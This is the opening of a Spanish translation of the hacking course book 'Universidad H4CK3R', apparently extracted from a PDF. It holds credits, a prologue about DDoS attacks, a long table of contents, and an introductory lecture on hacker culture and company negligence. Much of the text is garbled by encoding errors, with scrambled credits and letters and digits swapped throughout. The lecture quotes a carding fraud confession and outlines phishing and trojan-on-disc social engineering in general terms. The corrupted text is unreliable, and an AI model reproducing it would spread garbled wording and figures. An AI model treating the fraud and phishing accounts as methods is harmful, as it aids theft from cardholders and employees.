Está en la página 1de 296

ikimilikiliklik Universidad H4CK3R

UNIVERSIDAD
H4CK3R
4 EDICION
HENRIQUE CESAR ULBRICH
JAMES DELLA VALLE
(TRADUCCION AL ESPAOL)
2
ikimilikiliklik Universidad H4CK3R
Autores
U!"r#$%& C's(r E)r#*ue
De!!( V(!!e& S()t#(+o
U)#,ers#-(- H($.er / 4 e-#$#0) (1224)
D#+er(t# Co3u)#$($#0) 4 Te$)o!o+5( Lt-(66
Ru( H(--o$. Lo"o& 748 / P#so 91
CEP 29494/229 S:o P(u!o ; SP
Te!'<o)o (99) 7198/1=22 >(? @99J7198/1=98
AAA6-#+er(t#6$o3
D#re$tores
A!ess()-ro Ber(r-# / I+er(r- ; -#+er(t# C Co3"rJD
Lu#s A!<o)so B6 Ne#r( / !(<o)so C -#+er(t# ; $o3"rJ
A!ess#o >o) Me!oEo / -#+er(t# !(!ess#o C Co3"rJD
Bere)te -e Ve)t(s Pe-ro A"reu -#+er(t# I,e)-(s C ; $o3"rJ
D#,u!+($#0) Er#$( Cu)%( -#+er(t# LERICI C Co3"rJ
O<#$#)( -e Pre)s( S#3o)e S#3F) -#+er(t# Is#3()# C Co3"rJ
ISBN GH/GIH7H/29/2
3
ikimilikiliklik Universidad H4CK3R
Prlogo
Hoy la piratera fascina a miles de personas en todo el mundo. Se han creado varias
imgenes sobre los hackers
1
, alguna de ellas como la de usticieros, con poder para
luchar y desenmascarar a las grandes corporaciones, otras mostrndoles como simples
delincuentes buscando una forma de beneficio ilcito, ya sea robando dinero o informacin
confidencial. Hay un tercer punto de vista !ue pone al hacker como un investigador,
alguien !ue siempre busca meorar sus conocimientos mediante el estudio de los
sistemas aenos.
" la ve# de eercer fascinacin, tambi$n asustan a usuarios y empresas, !ue temen ser
invadidos y ver publicados sus datos confidenciales robados.
Hace mucho tiempo !ue act%an los hackers, pero sin duda fue a principios del &'''
cuando acapararon los titulares de los peridicos y revistas de todo el mundo. (urante
tres das, en la primera !uincena de febrero, una accin coordinada por un grupo de
hackers altero el funcionamiento y causo un gran da)o en sitios muy populares como
*ahoo, "ma#on, e+ay, +uy.com, ,(-et, y .--.com. /a accin fue reali#ada con una
herramienta considerada simple, llamada (oS 0(enial of service, denegacin de servicio1.
2n este tipo de ata!ues, los hackers no entran en los ordenadores de las vctimas para
robar informacin. Simplemente los bombardean con tal cantidad de datos, !ue provocan
!ue el acceso a ellos se blo!uee. 3dentificar a los hackers !ue hacen este tipo de ata!ue
es especialmente difcil debido a !ue utili#an miles de m!uinas en todo el mundo, sin
!ue los due)os de las mismas se den cuenta. 2stos e!uipos funcionan como 4esclavos4 a
las ordenes de un maestro, a distancia, !ue lo invadi y domina el e!uipo !ue, en la
mayora de los casos, tienen cone5in rpida a 3nternet.
6res a)os despu$s de este episodio en el !ue el mundo, por primera ve# conoci, con un
cierto temor, las acciones de los hackers, las empresas se armaron, contrataron a
e5pertos, desarrollaron nuevos sistemas de seguridad y se entreno al personal para evitar
intrusiones. "dems salio una gran cantidad de ttulos mostrando cmo actuaban los
hackers.
72l resultado8 /os hackers continuaron actuando y aumentando su poder incendiario.
Para hacerse una idea, el &1 de octubre de &''&, un poderoso ata!ue logr tumbar nueve
de los 19 servidores !ue gestionan el trfico mundial de 3nternet. 2n ese momento, un
oficial de 22.::. describi el ata!ue como la invasin ms sofisticada a gran escala !ue
ams se ha hecho a lo largo de la historia de 3nternet, en e!uipos de misin crtica.
7Por !u$ los hackers siguen actuando8 7Por !u$ los administradores no pueden detener
su accin8 /a respuesta a estas preguntas y muchas ms, puede encontrarse en las
siguientes pginas. Por primera ve#, un libro se introduce en el mundo hacker para revelar
las %ltimas t$cnicas utili#adas y, los diferentes motivos !ue les llevan a seguir atacando.
+ienvenido a la :niversidad de Hacker.
/uis ;atos
1 2n este libro usamos la palabra hacker en su sentido popular. Sin embargo, sabemos !ue el sentido correcto de la
palabra hacker es otra, ms amplia. Hacker es sinnimo de e5pertos, en cual!uier rea. Si su ardinero, por eemplo, es
muy bueno, puede ser considerado un 4hacker en la ardinera.4
4
ikimilikiliklik Universidad H4CK3R
.<-62-3(<=
Prlogo >............................................................................................................................. ?
Parte I - 1 Ao de la universidad: Formacin del Script Kiddie
0. Conferencia inaugural
3nformacin= la clave de todo >............................................................................................ 1@
2l mito de los piratas informticos >.................................................................................... 1A
7.hico bueno o villano8 >................................................................................................... 1A
/a negligencia de las empresas >....................................................................................... 1B
"valancha de ata!ues >...................................................................................................... &'
+ienvenidos a la 2scuela >................................................................................................ &'
1. Psicologa Hacker
2l verdadero hacker y el ChackerD retratado en los medios de comunicacin >.................. &9
Sopa de letras= hackers, crackers, phreakers >.................................................................. &?
Euienes son, como piensan y como act%an ..>................................................................... &@
F "prendi#ae >................................................................................................................. &@
F .ompromiso >................................................................................................................ &@
F .ompartir >..................................................................................................................... &A
F Hey, esto es importanteG >............................................................................................. &A
7Por !u$ alguien gastara tiempo y dinero en una invasin8 >........................................... &B
2. Redes I
3ntroduccin >...................................................................................................................... 91
F .onceptos >................................................................................................................... 91
2structura fsica >................................................................................................................ 9&
F 2!uipos adicionales >.................................................................................................... 9&
F Hmbito de aplicacin >................................................................................................... 99
6opologas >........................................................................................................................ 99
F Principales topologas >................................................................................................. 99
5
ikimilikiliklik Universidad H4CK3R
Protocolos >......................................................................................................................... 9I
F 7.mo funcionan8 >...................................................................................................... 9J
F ;atrioshka >................................................................................................................... 9@
2thernet >............................................................................................................................ 9A
2l modelo <S3 >.................................................................................................................. ?'
F .apas >.......................................................................................................................... ?'
F :n eemplo prctico >..................................................................................................... ?9
SPKL3PK >............................................................................................................................ ??
F .apas >.......................................................................................................................... ??
-et+3<SL-et+2:3LS;+L.3MS >.......................................................................................... ?I
F .apas >.......................................................................................................................... ?J
"pple6alk >.......................................................................................................................... ?@
F .apas >.......................................................................................................................... ?@
6.PL3P >.............................................................................................................................. ?@
F .apas >.......................................................................................................................... ?@
F 2ntendiendo el protocolo 6.PL3P >................................................................................ ?A
F 2l protocolo 3P >............................................................................................................. ?A
F (ireccin 3P >................................................................................................................. ?B
F ;scara de red >........................................................................................................... ?B
F 6.PL:(P >..................................................................................................................... ?B
F Puertos >........................................................................................................................ ?B
F (-S >............................................................................................................................. ?B
F "NP >............................................................................................................................. I'
/aboratorio de Nedes 3 ...................................................................................................... I'
F OindoPsB.5 >................................................................................................................. I1
3. Plataforma Windows
/as 4familias4 de OindoPs >............................................................................................... I?
F Mamilia OinB5 >.............................................................................................................. I?
F Mamilia Oin-6 >............................................................................................................. II
2ntre bastidores >............................................................................................................... IJ
F 2structura >.................................................................................................................... IJ
F 2ntidades >.................................................................................................................... J9
7.mo lo hago8 ................................................................................................................... J?
6
ikimilikiliklik Universidad H4CK3R
F "rchivos 3-3 >................................................................................................................. J?
F 7Negistro de !u$8 >....................................................................................................... JI
F /a estructura del registro >............................................................................................. JJ
F 7./S3(8 >...................................................................................................................... JA
F :n poco de grasa en los codos >................................................................................... JB
F 2l tesoro >...................................................................................................................... @'
7(onde, amigo8 >............................................................................................................... @1
4. Plataformas Uni
Sistemas operativos :ni5 >................................................................................................. @9
F Slo un uego de ordenador >....................................................................................... @?
F P<S3K >......................................................................................................................... @I
F (ecenas de sabores para elegir >................................................................................. @I
/as entra)as de la bestia >................................................................................................. @J
F 2structura >.................................................................................................................... @J
F Sistema de archivos >.................................................................................................... @@
2l meollo de la cuestin >.................................................................................................... @B
F (ispositivos >................................................................................................................. A1
F Procesos 0no, esto no es una conversacin entre abogados1 >.................................... A&
F 7Podras hacerme un favor8 >....................................................................................... A9
F /a comunicacin entre procesos >................................................................................. A?
F /as se)ales y semforos >............................................................................................. A?
2n la playa recogiendo meillones >.................................................................................... AJ
F ;i coleccin de conchas >............................................................................................. A@
F Secuencias de comandos >........................................................................................... AA
F 6odos los secretos estn en CLetcD >.............................................................................. AA
F C3nittabD y los CNunlevelsD 0parece a una banda de rock, pero no lo es1 >...................... AB
F <tras oyas >.................................................................................................................. B'
QEuiero el mioG >.................................................................................................................. B1
F /ibre como la libertad de e5presin >............................................................................ B&
F 2l baile de los pingRinos >.............................................................................................. B&
F 2l diablillo !ue re >........................................................................................................ B9
*ou can go on your oPn Pay >........................................................................................... B9
7
ikimilikiliklik Universidad H4CK3R
!. "undamentos legales
7Por !u$ la sociedad teme a los hackers8 >....................................................................... BI
/as libertades individuales y el derecho privado >.............................................................. BI
2l derecho a la informacin y los ata!ues a la libertad >.................................................... BJ
/a legislacin +rasile)a >.................................................................................................... B@
2l derecho internacional despu$s del 11 'B &''1 >............................................................ BB
F 2n los 2stados :nidos >................................................................................................ BB
F 2n 2uropa >................................................................................................................... 1''
.asos famosos de hackers >.............................................................................................. 1''
F 2l ruso !ue hackeo el "dobe >...................................................................................... 1''
F 2l hacker mas famoso del mundo >............................................................................... 1'1
#. Ingeniera social
"tencin= Qesto es un delitoG >............................................................................................. 1'9
6ipos de ata!ue >................................................................................................................ 1'?
F 2l ata!ue indirecto >....................................................................................................... 1'?
F 2l ata!ue directo >......................................................................................................... 1'?
/os m$todos utili#ados >..................................................................................................... 1'?
F (isfraces >..................................................................................................................... 1'I
F /a basura es rica >......................................................................................................... 1'I
F /os empleados descontentos y las redes de contactos >.............................................. 1'I
F /a apelacin sentimental >............................................................................................. 1'J
F Programacin -eurolingRstica. >.................................................................................. 1'J
F :so de 3nternet >............................................................................................................ 1'J
F 2l factor suerte >............................................................................................................ 1'J
F -avegando por el mar prohibido >................................................................................. 1'@
.asos reales >..................................................................................................................... 1'@
F "braham "bdallah >....................................................................................................... 1'@
F Sevin ;itnick >............................................................................................................... 1'@
$. %ulnera&ilidades I
2l concepto de vulnerabilidad >........................................................................................... 11'
8
ikimilikiliklik Universidad H4CK3R
F Superlammers y su visin de rayos K >......................................................................... 111
/os cuatro pasos para una hacking feli# >.......................................................................... 11&
Search and (estroy >......................................................................................................... 119
F C/ogingsD d$biles >......................................................................................................... 11?
F Nompiendo la puerta de entrada >................................................................................. 11?
F Sin romper el huevo no se hace una tortilla >................................................................ 11J
F 2scneres >................................................................................................................... 11A
F 2scneres de puertos >................................................................................................. 11B
F Muncionamiento de un escaner de puertos >................................................................. 1&'
F 2scaner de vulnerabilidades >....................................................................................... 1&1
F 25ploits >........................................................................................................................ 1&&
2n 6roya, como los griegos >.............................................................................................. 1&9
/os fallos de seguridad ms comunes en P.s dom$sticos >............................................. 1&?
F 2scaneo 6.P S*- vs OndoPs BI >............................................................................. 1&I
F .omparticin en ordenadores OindoPs 0S;+L.3MS1 >................................................. 1&I
F Servicios vinculados innecesariamente >...................................................................... 1&@
F (esbordamiento de b%fer en el servicio de llamada a procedimiento remoto >............ 1&@
/aboratorio de vulnerabilidades 3 >.................................................................................... 1&A
.onfiguracin del servidor >................................................................................................ 1&A
F :niendo las cosas >....................................................................................................... 1&B
F Puerta trasera >.............................................................................................................. 1&B
.onsideraciones finales >................................................................................................... 19'
Parte II - 2 Ao de la universidad: l camino de un !o"a#er
'. Redes II
6.PL3P= 2l comien#o >........................................................................................................ 199
<S3 vs 6.PL3P >.................................................................................................................. 19?
F .apas de protocolos de red >........................................................................................ 19?
Protocolo 3P >...................................................................................................................... 19I
F 2l pa!uete 3P >............................................................................................................... 19I
F (ireccionamiento 3P >.................................................................................................... 19A
F Nedes y Servidores >..................................................................................................... 19B
Protocolo 6.P >.................................................................................................................. 1?'
9
ikimilikiliklik Universidad H4CK3R
F 2l pa!uete 6.P >........................................................................................................... 1?'
F Puertos 6.P >................................................................................................................ 1?&
F /os bits de control 6.P >............................................................................................... 1??
Protocolo :(P >.................................................................................................................. 1?I
Protocolo 3.;P >................................................................................................................ 1?J
/aboratorio de redes 33 >..................................................................................................... 1?A
2nrutamiento >.................................................................................................................... 1I'
3nternet >............................................................................................................................. 1I1
Subredes >.......................................................................................................................... 1I&
Nedes 3nalambricas >.......................................................................................................... 1I&
F Nadio >........................................................................................................................... 1I&
F 3222 A'&.11 >................................................................................................................ 1I&
F 3nfrarroos >.................................................................................................................... 1I&
F +luetooth >..................................................................................................................... 1I&
F TS; >............................................................................................................................ 1I9
F &.IT >............................................................................................................................. 1I9
F 9T >................................................................................................................................ 1I9
F OiMi >............................................................................................................................. 1I9
( %ulnera&ilidades II
-avegacin annima >........................................................................................................ 1II
F Pro5ies p%blicos >.......................................................................................................... 1IJ
F Pro5ies privados >.......................................................................................................... 1IB
F S!uid >........................................................................................................................... 1J'
F OinTate >...................................................................................................................... 1J1
Nemailers annimos >......................................................................................................... 1J1
"guereando cortafuegos >................................................................................................. 1J9
F MirePalls >...................................................................................................................... 1J?
F Miltros de pa!uetes >...................................................................................................... 1J?
F Pro5ies >........................................................................................................................ 1JJ
F Miltros de pa!uetes por estado 0SPM1 >......................................................................... 1J@
F +uscando las reglas del filtro de pa!uetes >.................................................................. 1J@
Servidores Oeb >................................................................................................................ 1JA
F "pache >........................................................................................................................ 1JB
10
ikimilikiliklik Universidad H4CK3R
F Sun <-2LiPlanet >......................................................................................................... 1JB
F ;icrosoft 3nternet 3nformation Services 033S1 >............................................................... 1@'
F .ommon TatePay 3nterface 0.T31 >.............................................................................. 1@1
F PHP y "SP >.................................................................................................................. 1@&
(efacements 0(esfiguraciones1 >....................................................................................... 1@9
+ase de (atos >.................................................................................................................. 1@?
F .one5in directa a trav$s de 3nternet >......................................................................... 1@?
F /as contrase)as en la Oeb 0teora 5 prctica1 >............................................................ 1@?
7Somos todos vulnerables8 >............................................................................................. 1@B
Parte III - $ Ao de la universidad: %onvertirse un &ac'er
1). *ta+ue, defensa - contraata+ue. Introducci/n
/os seis pasos para un hacking feli# >................................................................................ 1A&
F 2l portal >....................................................................................................................... 1AI
F Pasos para hackear a fulano de tal >............................................................................. 1A@
F :na %ltima palabra sobre la planificacin >.................................................................... 1AB
11.*ta+ue, defensa - contraata+ue. 0&ser1aci/n
3ngeniera Social >............................................................................................................... 1B1
:na gran red >..................................................................................................................... 1B1
F Toogle es tu amigo >..................................................................................................... 1B&
F 76u tambi$n, +ruto8 >.................................................................................................... 1B9
F 7Eui$n es ese tipo8 >.................................................................................................... 1B9
Sign your name across my heart >...................................................................................... 1B?
(efensa y contraata!ue >................................................................................................... 1BJ
12. *ta+ue, defensa - contraata+ue. 23s+ueda
.artografa aplicada a 3nternet >......................................................................................... 1BA
F +arre, barre, la escoba >................................................................................................ 1BB
F "rghG Pero re!uiere mucho trabaoG >............................................................................ &'1
+uscando puertos abiertos >............................................................................................... &'1
11
ikimilikiliklik Universidad H4CK3R
F 2leccin de los puertos de origen >............................................................................... &'&
F +arrer bao la alfombra >................................................................................................ &'9
F /a huella digital en la Oeb >.......................................................................................... &'9
F 7Hay ms8 >.................................................................................................................. &'?
+uscando lagunas >............................................................................................................ &'?
(efensa y contraata!ue >................................................................................................... &'I
13. *ta+ue, defensa - contraata+ue. In1asi/n
/a invasin en etapas >....................................................................................................... &'@
Oar (ialing U Muer#a bruta >............................................................................................... &'A
F .ono#ca sus armas >..................................................................................................... &'A
F Q"h, la fuer#a bruta es tan hermosa >............................................................................ &'B
.omprensin de desbordamiento de pila >......................................................................... &1'
F :n montn de cosas >................................................................................................... &1'
F /as pilas en el reino digital >.......................................................................................... &11
F (ebug is on the table >.................................................................................................. &1?
.onseguir acceso por desbordamiento de pila >................................................................ &1J
"cceder a otras cuentas >................................................................................................... &1B
F ;$todos para descubrir usuarios y contrase)as >......................................................... &&'
F Nomper las contrase)as de OindoPs >......................................................................... &&&
F Nomper las contrase)as de :ni5 >................................................................................ &&?
<btener acceso y la destruir la red >................................................................................... &&?
F Oar (riving y Oar .halking >........................................................................................ &&I
F ;s all de la inyeccin de SE/ >................................................................................. &&I
F Husmeando en la red 0Sniffing1 >................................................................................... &&J
F Sniffing pasivo >............................................................................................................. &&B
F Sniffing activo >.............................................................................................................. &91
F /a eleccin de su sabueso >.......................................................................................... &9&
F Sniffing en la prctica >.................................................................................................. &9J
F .uando la ca#a es in%til >.............................................................................................. &?'
72n !ui$n puedes confiar8 >............................................................................................... &?'
.aptura de sesiones 0secuestro1 >...................................................................................... &??
F Seleccionando sus combatientes >................................................................................ &?@
F 2l secuestro en la prctica >.......................................................................................... &?A
12
ikimilikiliklik Universidad H4CK3R
F <tros m$todos para desviar el trfico >......................................................................... &I1
F (oS 0(enial of Service1 >............................................................................................... &I1
F "mos y 2sclavos >......................................................................................................... &J'
(efensa y contraata!ue >................................................................................................... &J'
F Oar (ialing y Muer#a bruta >.......................................................................................... &J1
F Nobo de contrase)as >.................................................................................................. &J1
F (enegacin de servicio >............................................................................................... &J9
14. *ta+ue, defensa - contraata+ue. 4antenimiento
Puerta trasera >................................................................................................................... &JI
F Puertas traseras maliciosas >........................................................................................ &JJ
F :na ve# ms, 2t tu, +ruto8 >......................................................................................... &JJ
Virus y troyanos >................................................................................................................ &JB
F :na ve# ms, los virus >................................................................................................ &JB
F Virus indetectables >...................................................................................................... &@'
F ;s all de los troyanos >.............................................................................................. &@1
F -o hay cuchara >........................................................................................................... &@9
.omunicacin sin cone5iones >.......................................................................................... &@J
F <dos sordos >............................................................................................................... &@J
F <liendo problemas >...................................................................................................... &@J
F "ctuali#ar el camuflae >................................................................................................ &@@
F .apa '= .mo funciona >............................................................................................... &@B
(efensa y contraata!ue >................................................................................................... &A1
F +ackdoors, virus y troyanos >........................................................................................ &A1
F .omunicacin sin cone5iones >..................................................................................... &A?
*a casi hemos llegado >..................................................................................................... &AI
1!. *ta+ue, defensa - contraata+ue. 51asi/n
/o bsico= borrar los registros >.......................................................................................... &A@
F Negistro de eventos :ni5 >............................................................................................ &A@
F Negistro de eventos en ;icrosoft OindoPs -6L&SLKP >............................................... &B9
<cultar sus cone5iones >.................................................................................................... &B?
(efensa y contraata!ue >................................................................................................... &BI
13
ikimilikiliklik Universidad H4CK3R
F 2liminacin de registros >.............................................................................................. &BI
F .amuflae cone5iones >................................................................................................. &BJ
7:na despedida8 ................................................................................................................. &BJ
14
ikimilikiliklik Universidad H4CK3R
Parte 1
1W ")o de la universidad=
Mormacin del Script Siddie
15
ikimilikiliklik Universidad H4CK3R
.lase
Inau#ural
.aptulo X '
Y'Ideologa?. Quiero
una para vivir! "
.a#u#a
16
ikimilikiliklik Universidad H4CK3R
6ecci/n inaugural
4;i crimen es la curiosidad, es subestimar al ms poderoso, incluso cuando se e!uivocan.
;i crimen es conocer todo acerca de todo el mundo, es ser ms inteligente. 2stoy preso,
pero por una causa usta.4
/a frase anterior fue pronunciada por un hacker !ue fue detenido bao cargos de intento
de e5torsin. -o slo es indicativa de su pensamiento, tambi$n es, en general, la idea de
una buena parte de la comunidad hacker.
2n la mayora de los casos, lo !ue impulsa a un hacker en sus incursiones en los
sistemas aenos es la adrenalina !ue se produce por el riesgo, combinado con la
satisfaccin de la victoria. ;uchos piensan !ue estn en una guerra, en la !ue matar o
morir significa invadir, o no, un sistema. 6odo tiene !ue estar bien dise)ado para lograr el
obetivo final y el riesgo es algo !ue incrementa la adrenalina. .uanto ms difcil sea
meor.
7Podramos decir !ue el hacker es slo una persona en busca de conocimiento, para
desentra)ar los misterios de las lneas del enemigo invasor, para encontrar sus secretos y
advertir a todos acerca de lo !ue ha visto8
-o, ciertamente no. 2stamos omitiendo un factor muy importante. 3magnese !ue usted
descubre el n%mero de tareta de cr$dito de 1' ''' personas, o tiene acceso a
informacin muy sensible acerca de empresas. Pocos resisten la tentacin de hacer uso
de esta informacin. "lgunos pensaran= Voy a usar un solo n%mero de la tareta una ve#
y luego voy a parar. 2s la forma como una persona se vuelve adicta a la droga, 7no8 :na
ve#, una segunda, y derrepente ve !ue no puede dear el hbito.
Por no hablar de !ue el pirata informtico tambi$n debe luchar contra su vanidad. 3nvadir
slo no tiene ning%n m$rito si los dems no se enteran. 7-o es verdad8 2ntonces la vida
del hacker empie#a a complicarse.
In(ormacin: la clave de todo.
2n una pelea real, todo vale para obtener informacin !ue ayude a acceder al sistema.
Sevin ;itnick, considerado uno de los mayores hackers de todos los tiempos, se
especiali#o en una t$cnica llamada ingeniera social. Para entender meor cmo alguien
puede ser fcilmente enga)ado por los hackers maliciosos, se reproduce el informe
reali#ado recientemente por ;itnick para P. ;aga#ine en una entrevista con el en +rasil,
publicado por 2ditorial (igerati.
4...3magine !ue est trabaando para una empresa. "l entrar en un ascensor, nota !ue
alguien ha deado un disco en el suelo. 2l disco lleva impreso el logotipo de la empresa y
lleva una eti!ueta !ue dice= 4.onfidencial= historial salarial de todos los empleados.47Eue
es lo primero !ue se te pasara por la cabe#a8. ;ovido por la curiosidad, pondras el disco
en una m!uina y abriras el archivo para ver su contenido. 6al ve# hay un icono a un
documento Oord llamado 4"rchivo de nminasD o 4Historial salarial4. Probablemente
clicaramos para comparar nuestros salarios con los de los otros. 7Eu$ sucede entonces8
Veremos un cuadro de mensae !ue dice algo as como 4la aplicacin no se pudo abrir4 o
4fallo de archivo.4 /o !ue no saben es !ue un caballo de 6roya se acaba de instalar, lo
17
ikimilikiliklik Universidad H4CK3R
!ue permitir !ue os invada un intruso. :sted devolver el disco al departamento de
recursos humanos, donde alguien va a verificarlo, ahora el hacker tiene acceso a dos
ordenadores. 2ste es un eemplo de ata!ue indirecto.
:n ata!ue directo es a!uel en el !ue el atacante se comunica directamente con la vctima
por tel$fono, fa5, correo electrnico o incluso personalmente. 2n la mayora de los casos,
el ata!ue no es personal F busca otro empleado, por eemplo F y trata de persuadirlo para
!ue revele informacin, instale softPare o acceda a un sitio !ue ponga en riesgo la
seguridad de la red interna de la empresa.
(igamos !ue un hacker !uiere acceder CZohn Oiley [ SonsD. \l o ella debe crear un sitio
Peb !ue pare#ca totalmente fiable. 2l sitio cuenta con un programa de registro y se
solicita a los usuarios poner un nombre de usuario y contrase)a. 2l atacante a
continuacin, enva un correo electrnico a mil empleados de Oiley, animndoles a
registrarse a cambio de un premio. 2l correo electrnico tambi$n contiene un enlace a la
pgina Peb creada por el atacante. (igamos !ue el 1'] de los empleados !ue reciben el
eFmail responden. * supongamos !ue el &I] de los registros usan la misma contrase)a
del servicio 0para evitar tener !ue memori#ar varias contrase)as1. .on slo &I eFmail y
contrase)a, el hacker tiene varias maneras de acceder a la red interna de Oilley4.
l mito de los piratas in(orm)ticos
;ucho ms !ue un e5perto, el hacker es considerado por muchos como un criminal. 2sa
persona de la !ue las empresas deben protegerse, pues podra en cual!uier momento
romper su red de datos y causar graves da)os. 2s tambi$n la persona !ue puede llegar a
robar informacin, contrase)as y n%mero de usuario de taretas cuando proporcionan esta
informacin a la empresas en las !ue hacen sus compras.
2sta imagen es alimentada por algunos grupos de hackers !ue act%an realmente como
delincuentes apoderndose de los datos confidenciales y haciendo uso de ellos. Vea este
informe=
42l mayor golpe fue la compra de tres ordenadores porttiles a la ve# en CSemp 6oshibaD,
!ue fue hecha un sbado por la noche. "br mi C<peraD, y puse mi pro5y para compras.
+ueno, el total fue de 1?.'''^, y la compra fue aceptada, repartida en J pla#os. Pero el
due)o de la tareta la cancelo y mi pedido no vino 0esto es lo peor= la cancelacin de la
compra1. Pero eso fue hace mucho tiempo, al principio.
"hora, compramos muchos libros, softPare, dominios, ordenadores porttiles, etc. :na de
mis compras fue un $5ito, un .(FN<; y un monitor de 1@D de pantalla plana, con un valor
de &.'''^, pero no tengo nada, lo vend.
2n el caso de la compra en CSemp 6oshibaD, !ue fue cancelada un da despu$s, la
direccin de entrega era el Clanbo5D 0Clanbo5D es un apartado de correos de 22.::.
redirigido a la direccin real1, y la entrega del .( y el monitor en la casa de un amigo ... 4
*%&ico +ueno o villano,
.omo todo en la vida, no es posible generali#ar los diferentes tipos de hackers, o
eti!uetar todo este inmenso grupo de la misma forma. 6ambi$n es imprescindible
18
ikimilikiliklik Universidad H4CK3R
destacar !ue los hackers, aun!ue a veces sea sin !uerer, terminan ayudando a revelar
errores en softPare y redes, lo !ue podra tener consecuencias graves para los usuarios
de las redes corporativas o 3nternet.
:n eemplo se dio en uno de los mas importantes ata!ues cibern$ticos en la historia, en
octubre de &''&, !ue tumbo la mayora de los servidores principales de 2:". 2l ata!ue,
mostr algunos de los agueros mas grandes en seguridad de 3nternet, !ue a%n son
conocidos. 6ambi$n revel algo ms= la superconcentracin de los servidores de 2stados
:nidos. " pesar de ser una red !ue llega a casi todos los pases del mundo, el @'] de los
mensaes pasan a trav$s de servidores o routers estadounidenses. *a no estamos en los
vieos tiempos, cuando la mayora de usuarios de 3nternet eran estadounidenses. Por lo
tanto, los cambios deben hacerse con el espritu !ue cre la propia 3nternet= la
descentrali#acin de comunicacin. (e hecho, este es un factor importante de seguridad
bsica, pero totalmente olvidado. .uando la mayora del trfico de 3nternet esta
concentrada en poco ms de die# superservidores, hace !ue sea fcil de organi#ar un
super ata!ue.
4-unca pongas todos los huevos en la misma cesta.4
6a negligencia de las em7resas.
;uchos errores !ue permiten la accin de los criminales podran ser fcilmente
corregidos, pero muchas compa)as prefieren pasar por alto estos problemas, y en
muchos casos incluso son muy displicentes. 2sto se muestra en una encuesta reali#ada
por CSolutions ;odule SecurityD, una empresa especiali#ada en seguridad. Seg%n los
datos recogidos, la seguridad de la informacin es un factor importante para el ?I] de los
eecutivos, el 1J] la considera crtica y el 9&] la califica como vital. Sin embargo, la falta
de conciencia de los eecutivos 0?I]1 y los usuarios 09A]1 fueron identificados como los
principales obstculos para implementar la seguridad en las empresas.
:n hecho revelado por la encuesta es muy preocupante= el ?9] empresas admiti haber
sufrido ata!ues en los %ltimos 1& meses, lo !ue representa un aumento del 1'] respecto
a &''1, el &?] de los casos fueron en los %ltimos seis meses. Pero lo peor de todo es
!ue el 9&] no saba si haba sido atacado o no y, a pesar del aumento esperado en
problemas con la seguridad y el crecimiento del ndice de ata!ues e invasiones, la
encuesta muestra !ue slo la mitad de las empresas brasile)as 0?B]1 cuentan con planes
de accin en caso de ata!ue.
<tro punto interesante muestra !ue los piratas informticos 0?A]1 fueron los principales
responsables de los ata!ues y las invasiones en &''&, lo !ue representa un aumento de
1I] con respecto a &''1. 2n segundo lugar estn los trabaadores, !ue tienen del &? al
91]. 6ambi$n aparece una nueva amena#a, no registrada en la encuesta anterior= los e5F
empleados, !ue registr un A]. 2l porcentae relativo a los proveedores de servicios
aument del 9 al 1&] y los de competidores del 1 al ?].
/o peor es !ue la percepcin de falta de seguridad de las transacciones sigue siendo el
principal obstculo para el desarrollo a escala global de negocios digitales. -o menos del
JJ] de los usuarios, no suelen comprar en 3nternet debido a la aparente falta de
seguridad.
19
ikimilikiliklik Universidad H4CK3R
*1alanc8a de ata+ues
6odos sabemos !ue hay varios factores !ue contribuyen a la intensa actividad de los
piratas informticos. Para empe#ar, hay muchos sitios inseguros. :n estudio de CTartner
TroupD estima !ue dos tercios de los servidores Peb en el mundo pueden ser hackeados
de alguna manera. <tro factor !ue estimula la actividad de los hackers es la amplia
disponibilidad de herramientas de ata!ue a trav$s de 3nternet. .ual!uier adolescente con
tiempo libre y conocimientos t$cnicos medios puede encontrar la informacin y el softPare
necesario para una invasin. Pero la ra#n principal sigue siendo la impunidad. /os
policas !ue investigan los delitos informticos no son capaces de cubrir todos los casos.
Por otra parte, la falta de legislacin impide el castigo de los culpables, aun!ue algunos
hackers puedan ser encuadrados en el .digo Penal de acuerdo al delito cometido.
Para tener una idea del n%mero de acciones de los piratas informticos, un estudio de la
C:niversidad de .aliforniaD demostr !ue los hackers tratan de reali#ar ms de ? mil
ata!ues C(oSD 0(enial of service1 todas las semanas, un n%mero impresionante y !ue
demuestra !ue hay !ue estar protegido en el mundo virtual.
2ien1enidos a la 5scuela.
4.uando se trata de intentar hackear un sitio, mi cora#n late con fuer#a y la adrenalina
se va a mil por hora. 2l temor de ser capturado, unto con la perspectiva de la victoria y el
$5ito, causa tal emocin !ue no lo puedo describir. (espu$s de !ue todos sepan tus
logros lo siguiente es disfrutar de la fama.4
Historias como $sta, dichas por los hackers, pueden representar un mundo lleno de
aventura y emocin para los !ue invaden los sitios y sistemas. Pero la verdad es !ue esto
no es as. 2n las siguientes pginas tendrs la oportunidad de conocer mucho de este
universo hacker, aprendiendo la teora y eercicios prcticos para dominar las t$cnicas de
los hackers. -o hace falta decir !ue nuestro obetivo es formar a la gente, sensata, en
informtica para !ue puedan utili#ar esos conocimientos para trabaar con seguridad,
desvelando las vulnerabilidades y buscando las soluciones.
<rgani#amos los temas a trav$s del curso para cubrir la necesidades del estudiante. Sin
embargo, creemos !ue muchos ya 4iniciados4 van a leer este libro. Por lo tanto,
separamos los temas en tres grupos= preFre!uisitos, hacking bsico y hacking avan#ado.
(eamos fuera del libro impreso, cuestiones sobre la piratera, y lo !ue consideramos
como 4preFre!uisito 40programacin, sistemas operativos y hardPare1. "s, satisfacemos
las necesidades de a!uellos !ue estn empe#ando desde cero y no penali#amos al
4iniciado4 con pginas llenas de cosas !ue ya sabe.
2l mal uso de la informacin a!u proporcionada, as como la informacin presentada en
cual!uier libro, de redes, servidores de 3nternet, sistemas operativos, programacin y
otros, es responsabilidad de !uien lo use. Necuerde !ue esta en vigor la ley sobre delitos
informticos y la /ey de Seguridad -acional de los 2stados :nidos. "dems, hay !ue
considerar !ue todos los delincuentes estn suetos a la legislacin del .digo Penal y el
.digo .ivil en sus pases.
20
ikimilikiliklik Universidad H4CK3R
Por lo tanto, disfruta de las siguientes pginas para ampliar tus conocimientos en
diferentes temas del mundo de la informtica y convi$rtete en un verdadero el e5perto en
seguridad. * lo principal, usa con responsabilidad este conocimiento.
/uis ;atos
21
ikimilikiliklik Universidad H4CK3R
Psicologa
-ac'er
.aptulo F 1
"Slo es digno de su poder el que lo
justifica todos los das "
(ag Hammarskold
Secretario Teneral de las -aciones :nidas
y Premio -obel de la Pa# 1BJ1
22
ikimilikiliklik Universidad H4CK3R
